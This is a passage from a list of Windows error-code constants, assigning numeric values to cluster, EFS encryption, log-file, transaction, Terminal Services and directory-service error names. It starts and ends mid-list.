5916\nERROR_CLUSTER_INVALID_STRING_FORMAT = 5917\nERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 5918\nERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 5919\nERROR_CLUSTER_NULL_DATA = 5920\nERROR_CLUSTER_PARTIAL_READ = 5921\nERROR_CLUSTER_PARTIAL_WRITE = 5922\nERROR_CLUSTER_CANT_DESERIALIZE_DATA = 5923\nERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 5924\nERROR_CLUSTER_NO_QUORUM = 5925\nERROR_CLUSTER_INVALID_IPV6_NETWORK = 5926\nERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 5927\nERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 5928\nERROR_DEPENDENCY_TREE_TOO_COMPLEX = 5929\nERROR_EXCEPTION_IN_RESOURCE_CALL = 5930\nERROR_CLUSTER_RHS_FAILED_INITIALIZATION = 5931\nERROR_CLUSTER_NOT_INSTALLED = 5932\nERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 5933\nERROR_ENCRYPTION_FAILED = 6000\nERROR_DECRYPTION_FAILED = 6001\nERROR_FILE_ENCRYPTED = 6002\nERROR_NO_RECOVERY_POLICY = 6003\nERROR_NO_EFS = 6004\nERROR_WRONG_EFS = 6005\nERROR_NO_USER_KEYS = 6006\nERROR_FILE_NOT_ENCRYPTED = 6007\nERROR_NOT_EXPORT_FORMAT = 6008\nERROR_FILE_READ_ONLY = 6009\nERROR_DIR_EFS_DISALLOWED = 6010\nERROR_EFS_SERVER_NOT_TRUSTED = 6011\nERROR_BAD_RECOVERY_POLICY = 6012\nERROR_EFS_ALG_BLOB_TOO_BIG = 6013\nERROR_VOLUME_NOT_SUPPORT_EFS = 6014\nERROR_EFS_DISABLED = 6015\nERROR_EFS_VERSION_NOT_SUPPORT = 6016\nERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 6017\nERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER = 6018\nERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 6019\nERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 6020\nERROR_CS_ENCRYPTION_FILE_NOT_CSE = 6021\nERROR_NO_BROWSER_SERVERS_FOUND = 6118\nERROR_LOG_SECTOR_INVALID = 6600\nERROR_LOG_SECTOR_PARITY_INVALID = 6601\nERROR_LOG_SECTOR_REMAPPED = 6602\nERROR_LOG_BLOCK_INCOMPLETE = 6603\nERROR_LOG_INVALID_RANGE = 6604\nERROR_LOG_BLOCKS_EXHAUSTED = 6605\nERROR_LOG_READ_CONTEXT_INVALID = 6606\nERROR_LOG_RESTART_INVALID = 6607\nERROR_LOG_BLOCK_VERSION = 6608\nERROR_LOG_BLOCK_INVALID = 6609\nERROR_LOG_READ_MODE_INVALID = 6610\nERROR_LOG_NO_RESTART = 6611\nERROR_LOG_METADATA_CORRUPT = 6612\nERROR_LOG_METADATA_INVALID = 6613\nERROR_LOG_METADATA_INCONSISTENT = 6614\nERROR_LOG_RESERVATION_INVALID = 6615\nERROR_LOG_CANT_DELETE = 6616\nERROR_LOG_CONTAINER_LIMIT_EXCEEDED = 6617\nERROR_LOG_START_OF_LOG = 6618\nERROR_LOG_POLICY_ALREADY_INSTALLED = 6619\nERROR_LOG_POLICY_NOT_INSTALLED = 6620\nERROR_LOG_POLICY_INVALID = 6621\nERROR_LOG_POLICY_CONFLICT = 6622\nERROR_LOG_PINNED_ARCHIVE_TAIL = 6623\nERROR_LOG_RECORD_NONEXISTENT = 6624\nERROR_LOG_RECORDS_RESERVED_INVALID = 6625\nERROR_LOG_SPACE_RESERVED_INVALID = 6626\nERROR_LOG_TAIL_INVALID = 6627\nERROR_LOG_FULL = 6628\nERROR_COULD_NOT_RESIZE_LOG = 6629\nERROR_LOG_MULTIPLEXED = 6630\nERROR_LOG_DEDICATED = 6631\nERROR_LOG_ARCHIVE_NOT_IN_PROGRESS = 6632\nERROR_LOG_ARCHIVE_IN_PROGRESS = 6633\nERROR_LOG_EPHEMERAL = 6634\nERROR_LOG_NOT_ENOUGH_CONTAINERS = 6635\nERROR_LOG_CLIENT_ALREADY_REGISTERED = 6636\nERROR_LOG_CLIENT_NOT_REGISTERED = 6637\nERROR_LOG_FULL_HANDLER_IN_PROGRESS = 6638\nERROR_LOG_CONTAINER_READ_FAILED = 6639\nERROR_LOG_CONTAINER_WRITE_FAILED = 6640\nERROR_LOG_CONTAINER_OPEN_FAILED = 6641\nERROR_LOG_CONTAINER_STATE_INVALID = 6642\nERROR_LOG_STATE_INVALID = 6643\nERROR_LOG_PINNED = 6644\nERROR_LOG_METADATA_FLUSH_FAILED = 6645\nERROR_LOG_INCONSISTENT_SECURITY = 6646\nERROR_LOG_APPENDED_FLUSH_FAILED = 6647\nERROR_LOG_PINNED_RESERVATION = 6648\nERROR_INVALID_TRANSACTION = 6700\nERROR_TRANSACTION_NOT_ACTIVE = 6701\nERROR_TRANSACTION_REQUEST_NOT_VALID = 6702\nERROR_TRANSACTION_NOT_REQUESTED = 6703\nERROR_TRANSACTION_ALREADY_ABORTED = 6704\nERROR_TRANSACTION_ALREADY_COMMITTED = 6705\nERROR_TM_INITIALIZATION_FAILED = 6706\nERROR_RESOURCEMANAGER_READ_ONLY = 6707\nERROR_TRANSACTION_NOT_JOINED = 6708\nERROR_TRANSACTION_SUPERIOR_EXISTS = 6709\nERROR_CRM_PROTOCOL_ALREADY_EXISTS = 6710\nERROR_TRANSACTION_PROPAGATION_FAILED = 6711\nERROR_CRM_PROTOCOL_NOT_FOUND = 6712\nERROR_TRANSACTION_INVALID_MARSHALL_BUFFER = 6713\nERROR_CURRENT_TRANSACTION_NOT_VALID = 6714\nERROR_TRANSACTION_NOT_FOUND = 6715\nERROR_RESOURCEMANAGER_NOT_FOUND = 6716\nERROR_ENLISTMENT_NOT_FOUND = 6717\nERROR_TRANSACTIONMANAGER_NOT_FOUND = 6718\nERROR_TRANSACTIONMANAGER_NOT_ONLINE = 6719\nERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 6720\nERROR_TRANSACTION_NOT_ROOT = 6721\nERROR_TRANSACTION_OBJECT_EXPIRED = 6722\nERROR_TRANSACTION_RESPONSE_NOT_ENLISTED = 6723\nERROR_TRANSACTION_RECORD_TOO_LONG = 6724\nERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED = 6725\nERROR_TRANSACTION_INTEGRITY_VIOLATED = 6726\nERROR_TRANSACTIONAL_CONFLICT = 6800\nERROR_RM_NOT_ACTIVE = 6801\nERROR_RM_METADATA_CORRUPT = 6802\nERROR_DIRECTORY_NOT_RM = 6803\nERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805\nERROR_LOG_RESIZE_INVALID_SIZE = 6806\nERROR_OBJECT_NO_LONGER_EXISTS = 6807\nERROR_STREAM_MINIVERSION_NOT_FOUND = 6808\nERROR_STREAM_MINIVERSION_NOT_VALID = 6809\nERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 6810\nERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 6811\nERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 6812\nERROR_REMOTE_FILE_VERSION_MISMATCH = 6814\nERROR_HANDLE_NO_LONGER_VALID = 6815\nERROR_NO_TXF_METADATA = 6816\nERROR_LOG_CORRUPTION_DETECTED = 6817\nERROR_CANT_RECOVER_WITH_HANDLE_OPEN = 6818\nERROR_RM_DISCONNECTED = 6819\nERROR_ENLISTMENT_NOT_SUPERIOR = 6820\nERROR_RECOVERY_NOT_NEEDED = 6821\nERROR_RM_ALREADY_STARTED = 6822\nERROR_FILE_IDENTITY_NOT_PERSISTENT = 6823\nERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 6824\nERROR_CANT_CROSS_RM_BOUNDARY = 6825\nERROR_TXF_DIR_NOT_EMPTY = 6826\nERROR_INDOUBT_TRANSACTIONS_EXIST = 6827\nERROR_TM_VOLATILE = 6828\nERROR_ROLLBACK_TIMER_EXPIRED = 6829\nERROR_TXF_ATTRIBUTE_CORRUPT = 6830\nERROR_EFS_NOT_ALLOWED_IN_TRANSACTION = 6831\nERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED = 6832\nERROR_LOG_GROWTH_FAILED = 6833\nERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 6834\nERROR_TXF_METADATA_ALREADY_PRESENT = 6835\nERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 6836\nERROR_TRANSACTION_REQUIRED_PROMOTION = 6837\nERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 6838\nERROR_TRANSACTIONS_NOT_FROZEN = 6839\nERROR_TRANSACTION_FREEZE_IN_PROGRESS = 6840\nERROR_NOT_SNAPSHOT_VOLUME = 6841\nERROR_NO_SAVEPOINT_WITH_OPEN_FILES = 6842\nERROR_DATA_LOST_REPAIR = 6843\nERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 6844\nERROR_TM_IDENTITY_MISMATCH = 6845\nERROR_FLOATED_SECTION = 6846\nERROR_CANNOT_ACCEPT_TRANSACTED_WORK = 6847\nERROR_CANNOT_ABORT_TRANSACTIONS = 6848\nERROR_BAD_CLUSTERS = 6849\nERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 6850\nERROR_VOLUME_DIRTY = 6851\nERROR_NO_LINK_TRACKING_IN_TRANSACTION = 6852\nERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 6853\nERROR_CTX_WINSTATION_NAME_INVALID = 7001\nERROR_CTX_INVALID_PD = 7002\nERROR_CTX_PD_NOT_FOUND = 7003\nERROR_CTX_WD_NOT_FOUND = 7004\nERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005\nERROR_CTX_SERVICE_NAME_COLLISION = 7006\nERROR_CTX_CLOSE_PENDING = 7007\nERROR_CTX_NO_OUTBUF = 7008\nERROR_CTX_MODEM_INF_NOT_FOUND = 7009\nERROR_CTX_INVALID_MODEMNAME = 7010\nERROR_CTX_MODEM_RESPONSE_ERROR = 7011\nERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012\nERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013\nERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014\nERROR_CTX_MODEM_RESPONSE_BUSY = 7015\nERROR_CTX_MODEM_RESPONSE_VOICE = 7016\nERROR_CTX_TD_ERROR = 7017\nERROR_CTX_WINSTATION_NOT_FOUND = 7022\nERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023\nERROR_CTX_WINSTATION_BUSY = 7024\nERROR_CTX_BAD_VIDEO_MODE = 7025\nERROR_CTX_GRAPHICS_INVALID = 7035\nERROR_CTX_LOGON_DISABLED = 7037\nERROR_CTX_NOT_CONSOLE = 7038\nERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040\nERROR_CTX_CONSOLE_DISCONNECT = 7041\nERROR_CTX_CONSOLE_CONNECT = 7042\nERROR_CTX_SHADOW_DENIED = 7044\nERROR_CTX_WINSTATION_ACCESS_DENIED = 7045\nERROR_CTX_INVALID_WD = 7049\nERROR_CTX_SHADOW_INVALID = 7050\nERROR_CTX_SHADOW_DISABLED = 7051\nERROR_CTX_CLIENT_LICENSE_IN_USE = 7052\nERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053\nERROR_CTX_LICENSE_NOT_AVAILABLE = 7054\nERROR_CTX_LICENSE_CLIENT_INVALID = 7055\nERROR_CTX_LICENSE_EXPIRED = 7056\nERROR_CTX_SHADOW_NOT_RUNNING = 7057\nERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058\nERROR_ACTIVATION_COUNT_EXCEEDED = 7059\nERROR_CTX_WINSTATIONS_DISABLED = 7060\nERROR_CTX_ENCRYPTION_LEVEL_REQUIRED = 7061\nERROR_CTX_SESSION_IN_USE = 7062\nERROR_CTX_NO_FORCE_LOGOFF = 7063\nERROR_CTX_ACCOUNT_RESTRICTION = 7064\nERROR_RDP_PROTOCOL_ERROR = 7065\nERROR_CTX_CDM_CONNECT = 7066\nERROR_CTX_CDM_DISCONNECT = 7067\nERROR_CTX_SECURITY_LAYER_ERROR = 7068\nERROR_TS_INCOMPATIBLE_SESSIONS = 7069\nFRS_ERR_INVALID_API_SEQUENCE = 8001\nFRS_ERR_STARTING_SERVICE = 8002\nFRS_ERR_STOPPING_SERVICE = 8003\nFRS_ERR_INTERNAL_API = 8004\nFRS_ERR_INTERNAL = 8005\nFRS_ERR_SERVICE_COMM = 8006\nFRS_ERR_INSUFFICIENT_PRIV = 8007\nFRS_ERR_AUTHENTICATION = 8008\nFRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009\nFRS_ERR_PARENT_AUTHENTICATION = 8010\nFRS_ERR_CHILD_TO_PARENT_COMM = 8011\nFRS_ERR_PARENT_TO_CHILD_COMM = 8012\nFRS_ERR_SYSVOL_POPULATE = 8013\nFRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014\nFRS_ERR_SYSVOL_IS_BUSY = 8015\nFRS_ERR_SYSVOL_DEMOTE = 8016\nFRS_ERR_INVALID_SERVICE_PARAMETER = 8017\nDS_S_SUCCESS = NO_ERROR\nERROR_DS_NOT_INSTALLED = 8200\nERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201\nERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202\nERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203\nERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204\nERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205\nERROR_DS_BUSY = 8206\nERROR_DS_UNAVAILABLE = 8207\nERROR_DS_NO_RIDS_ALLOCATED = 8208\nERROR_DS_NO_MORE_RIDS = 8209\nERROR_DS_INCORRECT_ROLE_OWNER = 8210\nERROR_DS_RIDMGR_INIT_ERROR = 8211\nERROR_DS_OBJ_CLASS_VIOLATION = 8212\nERROR_DS_CANT_ON_NON_LEAF = 8213\nERROR_DS_CANT_ON_RDN = 8214\nERROR_DS_CANT_MOD_OBJ_CLASS = 8215\nERROR_DS_CROSS_DOM_MOVE_ERROR = 8216\nERROR_DS_GC_NOT_AVAILABLE = 8217\nERROR_SHARED_POLICY = 8218\nERROR_POLICY_OBJECT_NOT_FOUND = 8219\nERROR_POLICY_ONLY_IN_DS = 8220\nERROR_PROMOTION_ACTIVE = 8221\nERROR_NO_PROMOTION_ACTIVE = 8222\nERROR_DS_OPERATIONS_ERROR = 8224\nERROR_DS_PROTOCOL_ERROR = 8225\nERROR_DS_TIMELIMIT_EXCEEDED = 8226\nERROR_DS_SIZELIMIT_EXCEEDED = 8227\nERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228\nERROR_DS_COMPARE_FALSE = 8229\nERROR_DS_COMPARE_TRUE = 8230\nERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231\nERROR_DS_STRONG_AUTH_REQUIRED = 8232\nERROR_DS_INAPPROPRIATE_AUTH = 8233\nERROR_DS_AUTH_UNKNOWN = 8234\nERROR_DS_REFERRAL = 8235\nERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236\nERROR_DS_CONFIDENTIALITY_REQUIRED = 8237\nERROR_DS_INAPPROPRIATE_MATCHING = 8238\nERROR_DS_CONSTRAINT_VIOLATION = 8239\nERROR_DS_NO_SUCH_OBJECT = 8240\nERROR_DS_ALIAS_PROBLEM = 8241\nERROR_DS_INVALID_DN_SYNTAX = 8242\nERROR_DS_IS_LEAF = 8243\nERROR_DS_ALIAS_DEREF_PROBLEM = 8244\nERROR_DS_UNWILLING_TO_PERFORM = 8245\nERROR_DS_LOOP_DETECT = 8246\nERROR_DS_NAMING_VIOLATION = 8247\nERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248\nERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249\nERROR_DS_SERVER_DOWN = 8250\nERROR_DS_LOCAL_ERROR = 8251\nERROR_DS_ENCODING_ERROR = 8252\nERROR_DS_DECODING_ERROR = 8253\nERROR_DS_FILTER_UNKNOWN = 8254\nERROR_DS_PARAM_ERROR = 8255\nERROR_DS_NOT_SUPPORTED = 8256\nERROR_DS_NO_RESULTS_RETURNED = 8257\nERROR_DS_CONTROL_NOT_FOUND = 8258\nERROR_DS_CLIENT_LOOP = 8259\nERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260\nERROR_DS_SORT_CONTROL_MISSING = 8261\nERROR_DS_OFFSET_RANGE_ERROR = 8262\nERROR_DS_ROOT_MUST_BE_NC = 8301\nERROR_DS_ADD_REPLICA_INHIBITED = 8302\nERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303\nERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304\nERROR_DS_OBJ_STRING_NAME_EXISTS = 8305\nERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306\nERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307\nERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308\nERROR_DS_USER_BUFFER_TO_SMALL = 8309\nERROR_DS_ATT_IS_NOT_ON_OBJ = 8310\nERROR_DS_ILLEGAL_MOD_OPERATION = 8311\nERROR_DS_OBJ_TOO_LARGE = 8312\nERROR_DS_BAD_INSTANCE_TYPE = 8313\nERROR_DS_MASTERDSA_REQUIRED = 8314\nERROR_DS_OBJECT_CLASS_REQUIRED = 8315\nERROR_DS_MISSING_REQUIRED_ATT = 8316\nERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317\nERROR_DS_ATT_ALREADY_EXISTS = 8318\nERROR_DS_CANT_ADD_ATT_VALUES = 8320\nERROR_DS_SINGLE_VALUE_CONSTRAINT = 8321\nERROR_DS_RANGE_CONSTRAINT = 8322\nERROR_DS_ATT_VAL_ALREADY_EXISTS = 8323\nERROR_DS_CANT_REM_MISSING_ATT = 8324\nERROR_DS_CANT_REM_MISSING_ATT_VAL = 8325\nERROR_DS_ROOT_CANT_BE_SUBREF = 8326\nERROR_DS_NO_CHAINING = 8327\nERROR_DS_NO_CHAINED_EVAL = 8328\nERROR_DS_NO_PARENT_OBJECT = 8329\nERROR_DS_PARENT_IS_AN_ALIAS = 8330\nERROR_DS_CANT_MIX_MASTER_AND_REPS = 8331\nERROR_DS_CHILDREN_EXIST = 8332\nERROR_DS_OBJ_NOT_FOUND = 8333\nERROR_DS_ALIASED_OBJ_MISSING = 8334\nERROR_DS_BAD_NAME_SYNTAX = 8335\nERROR_DS_ALIAS_POINTS_TO_ALIAS = 8336\nERROR_DS_CANT_DEREF_ALIAS = 8337\nERROR_DS_OUT_OF_SCOPE = 8338\nERROR_DS_OBJECT_BEING_REMOVED = 8339\nERROR_DS_CANT_DELETE_DSA_OBJ = 8340\nERROR_DS_GENERIC_ERROR = 8341\nERROR_DS_DSA_MUST_BE_INT_MASTER = 8342\nERROR_DS_CLASS_NOT_DSA = 8343\nERROR_DS_INSUFF_ACCESS_RIGHTS = 8344\nERROR_DS_ILLEGAL_SUPERIOR = 8345\nERROR_DS_ATTRIBUTE_OWNED_BY_SAM = 8346\nERROR_DS_NAME_TOO_MANY_PARTS = 8347\nERROR_DS_NAME_TOO_LONG = 8348\nERROR_DS_NAME_VALUE_TOO_LONG = 8349\nERROR_DS_NAME_UNPARSEABLE = 8350\nERROR_DS_NAME_TYPE_UNKNOWN = 8351\nERROR_DS_NOT_AN_OBJECT = 8352\nERROR_DS_SEC_DESC_TOO_SHORT = 8353\nERROR_DS_SEC_DESC_INVALID = 8354\nERROR_DS_NO_DELETED_NAME = 8355\nERROR_DS_SUBREF_MUST_HAVE_PARENT = 8356\nERROR_DS_NCNAME_MUST_BE_NC = 8357\nERROR_DS_CANT_ADD_SYSTEM_ONLY = 8358\nERROR_DS_CLASS_MUST_BE_CONCRETE = 8359\nERROR_DS_INVALID_DMD = 8360\nERROR_DS_OBJ_GUID_EXISTS = 8361\nERROR_DS_NOT_ON_BACKLINK = 8362\nERROR_DS_NO_CROSSREF_FOR_NC = 8363\nERROR_DS_SHUTTING_DOWN = 8364\nERROR_DS_UNKNOWN_OPERATION = 8365\nERROR_DS_INVALID_ROLE_OWNER = 8366\nERROR_DS_COULDNT_CONTACT_FSMO = 8367\nERROR_DS_CROSS_NC_DN_RENAME = 8368\nERROR_DS_CANT_MOD_SYSTEM_ONLY = 8369\nERROR_DS_REPLICATOR_ONLY = 8370\nERROR_DS_OBJ_CLASS_NOT_DEFINED = 8371\nERROR_DS_OBJ_CLASS_NOT_SUBCLASS = 8372\nERROR_DS_NAME_REFERENCE_INVALID = 8373\nERROR_DS_CROSS_REF_EXISTS = 8374\nERROR_DS_CANT_DEL_MASTER_CROSSREF = 8375\nERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD = 8376\nERROR_DS_NOTIFY_FILTER_TOO_COMPLEX = 8377\nERROR_DS_DUP_RDN = 8378\nERROR_DS_DUP_OID = 8379\nERROR_DS_DUP_MAPI_ID = 8380\nERROR_DS_DUP_SCHEMA_ID_GUID = 8381\nERROR_DS_DUP_LDAP_DISPLAY_NAME = 8382\nERROR_DS_SEMANTIC_ATT_TEST = 8383\nERROR_DS_SYNTAX_MISMATCH = 8384\nERROR_DS_EXISTS_IN_MUST_HAVE = 8385\nERROR_DS_EXISTS_IN_MAY_HAVE = 8386\nERROR_DS_NONEXISTENT_MAY_HAVE = 8387\nERROR_DS_NONEXISTENT_MUST_HAVE = 8388\nERROR_DS_AUX_CLS_TEST_FAIL = 8389\nERROR_DS_NONEXISTENT_POSS_SUP = 8390\nERROR_DS_SUB_CLS_TEST_FAIL = 8391\nERROR_DS_BAD_RDN_ATT_ID_SYNTAX = 8392\nERROR_DS_EXISTS_IN_AUX_CLS = 8393\nERROR_DS_EXISTS_IN_SUB_CLS = 8394\nERROR_DS_EXISTS_IN_POSS_SUP = 8395\nERROR_DS_RECALCSCHEMA_FAILED = 8396\nERROR_DS_TREE_DELETE_NOT_FINISHED = 8397\nERROR_DS_CANT_DELETE = 8398\nERROR_DS_ATT_SCHEMA_REQ_ID = 8399\nERROR_DS_BAD_ATT_SCHEMA_SYNTAX = 8400\nERROR_DS_CANT_CACHE_ATT = 8401\nERROR_DS_CANT_CACHE_CLASS = 8402\nERROR_DS_CANT_REMOVE_ATT_CACHE = 8403\nERROR_DS_CANT_REMOVE_CLASS_CACHE = 8404\nERROR_DS_CANT_RETRIEVE_DN = 8405\nERROR_DS_MISSING_SUPREF = 8406\nERROR_DS_CANT_RETRIEVE_INSTANCE = 8407\nERROR_DS_CODE_INCONSISTENCY = 8408\nERROR_DS_DATABASE_ERROR = 8409\nERROR_DS_GOVERNSID_MISSING = 8410\nERROR_DS_MISSING_EXPECTED_ATT = 8411\nERROR_DS_NCNAME_MISSING_CR_REF = 8412\nERROR_DS_SECURITY_CHECKING_ERROR = 8413\nERROR_DS_SCHEMA_NOT_LOADED = 8414\nERROR_DS_SCHEMA_ALLOC_FAILED = 8415\nERROR_DS_ATT_SCHEMA_REQ_SYNTAX = 8416\nERROR_DS_GCVERIFY_ERROR = 8417\nERROR_DS_DRA_SCHEMA_MISMATCH = 8418\nERROR_DS_CANT_FIND_DSA_OBJ = 8419\nERROR_DS_CANT_FIND_EXPECTED_NC = 8420\nERROR_DS_CANT_FIND_NC_IN_CACHE = 8421\nERROR_DS_CANT_RETRIEVE_CHILD = 8422\nERROR_DS_SECURITY_ILLEGAL_MODIFY = 8423\nERROR_DS_CANT_REPLACE_HIDDEN_REC = 8424\nERROR_DS_BAD_HIERARCHY_FILE = 8425\nERROR_DS_BUILD_HIERARCHY_TABLE_FAILED = 8426\nERROR_DS_CONFIG_PARAM_MISSING = 8427\nERROR_DS_COUNTING_AB_INDICES_FAILED = 8428\nERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED = 8429\nERROR_DS_INTERNAL_FAILURE = 8430\nERROR_DS_UNKNOWN_ERROR = 8431\nERROR_DS_ROOT_REQUIRES_CLASS_TOP = 8432\nERROR_DS_REFUSING_FSMO_ROLES = 8433\nERROR_DS_MISSING_FSMO_SETTINGS = 8434\nERROR_DS_UNABLE_TO_SURRENDER_ROLES = 8435\nERROR_DS_DRA_GENERIC = 8436\nERROR_DS_DRA_INVALID_PARAMETER = 8437\nERROR_DS_DRA_BUSY = 8438\nERROR_DS_DRA_BAD_DN = 8439\nERROR_DS_DRA_BAD_NC = 8440\nERROR_DS_DRA_DN_EXISTS = 8441\nERROR_DS_DRA_INTERNAL_ERROR = 8442\nERROR_DS_DRA_INCONSISTENT_DIT = 8443\nERROR_DS_DRA_CONNECTION_FAILED = 8444\nERROR_DS_DRA_BAD_INSTANCE_TYPE = 8445\nERROR_DS_DRA_OUT_OF_MEM = 8446\nERROR_DS_DRA_MAIL_PROBLEM = 8447\nERROR_DS_DRA_REF_ALREADY_EXISTS = 8448\nERROR_DS_DRA_REF_NOT_FOUND = 8449\nERROR_DS_DRA_OBJ_IS_REP_SOURCE = 8450\nERROR_DS_DRA_DB_ERROR = 8451\nERROR_DS_DRA_NO_REPLICA = 8452\nERROR_DS_DRA_ACCESS_DENIED = 8453\nERROR_DS_DRA_NOT_SUPPORTED = 8454\nERROR_DS_DRA_RPC_CANCELLED = 8455\nERROR_DS_DRA_SOURCE_DISABLED = 8456\nERROR_DS_DRA_SINK_DISABLED = 8457\nERROR_DS_DRA_NAME_COLLISION = 8458\nERROR_DS_DRA_SOURCE_REINSTALLED = 8459\nERROR_DS_DRA_MISSING_PARENT = 8460\nERROR_DS_DRA_PREEMPTED = 8461\nERROR_DS_DRA_ABANDON_SYNC = 8462\nERROR_DS_DRA_SHUTDOWN = 8463\nERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET = 8464\nERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA = 8465\nERROR_DS_DRA_EXTN_CONNECTION_FAILED = 8466\nERROR_DS_INSTALL_SCHEMA_MISMATCH = 8467\nERROR_DS_DUP_LINK_ID = 8468\nERROR_DS_NAME_ERROR_RESOLVING = 8469\nERROR_DS_NAME_ERROR_NOT_FOUND = 8470\nERROR_DS_NAME_ERROR_NOT_UNIQUE = 8471\nERROR_DS_NAME_ERROR_NO_MAPPING = 8472\nERROR_DS_NAME_ERROR_DOMAIN_ONLY = 8473\nERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING = 8474\nERROR_DS_CONSTRUCTED_ATT_MOD = 8475\nERROR_DS_WRONG_OM_OBJ_CLASS = 8476\nERROR_DS_DRA_REPL_PENDING = 8477\nERROR_DS_DS_REQUIRED = 8478\nERROR_DS_INVALID_LDAP_DISPLAY_NAME = 8479\nERROR_DS_NON_BASE_SEARCH = 8480\nERROR_DS_CANT_RETRIEVE_ATTS = 8481\nERROR_DS_BACKLINK_WITHOUT_LINK = 8482\nERROR_DS_EPOCH_MISMATCH = 8483\nERROR_DS_SRC_NAME_MISMATCH = 8484\nERROR_DS_SRC_AND_DST_NC_IDENTICAL = 8485\nERROR_DS_DST_NC_MISMATCH = 8486\nERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC = 8487\nERROR_DS_SRC_GUID_MISMATCH = 8488\nERROR_DS_CANT_MOVE_DELETED_OBJECT = 8489\nERROR_DS_PDC_OPERATION_IN_PROGRESS = 8490\nERROR_DS_CROSS_DOMAIN_CLEANUP_REQD = 8491\nERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION = 8492\nERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS = 8493\nERROR_DS_NC_MUST_HAVE_NC_PARENT = 8494\nERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE = 8495\nERROR_DS_DST_DOMAIN_NOT_NATIVE = 8496\nERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER = 8497\nERROR_DS_CANT_MOVE_ACCOUNT_GROUP = 8498\nERROR_DS_CANT_MOVE_RESOURCE_GROUP = 8499\nERROR_DS_INVALID_SEARCH_FLAG = 8500\nERROR_DS_NO_TREE_DELETE_ABOVE_NC = 8501\nERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE = 8502\nERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE = 8503\nERROR_DS_SAM_INIT_FAILURE = 8504\nERROR_DS_SENSITIVE_GROUP_VIOLATION = 8505\nERROR_DS_CANT_MOD_PRIMARYGROUPID = 8506\nERROR_DS_ILLEGAL_BASE_SCHEMA_MOD = 8507\nERROR_DS_NONSAFE_SCHEMA_CHANGE = 8508\nERROR_DS_SCHEMA_UPDATE_DISALLOWED = 8509\nERROR_DS_CANT_CREATE_UNDER_SCHEMA = 8510\nERROR_DS_INSTALL_NO_SRC_SCH_VERSION = 8511\nERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE = 8512\nERROR_DS_INVALID_GROUP_TYPE = 8513\nERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 8514\nERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 8515\nERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 8516\nERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 8517\nERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 8518\nERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 8519\nERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 8520\nERROR_DS_HAVE_PRIMARY_MEMBERS = 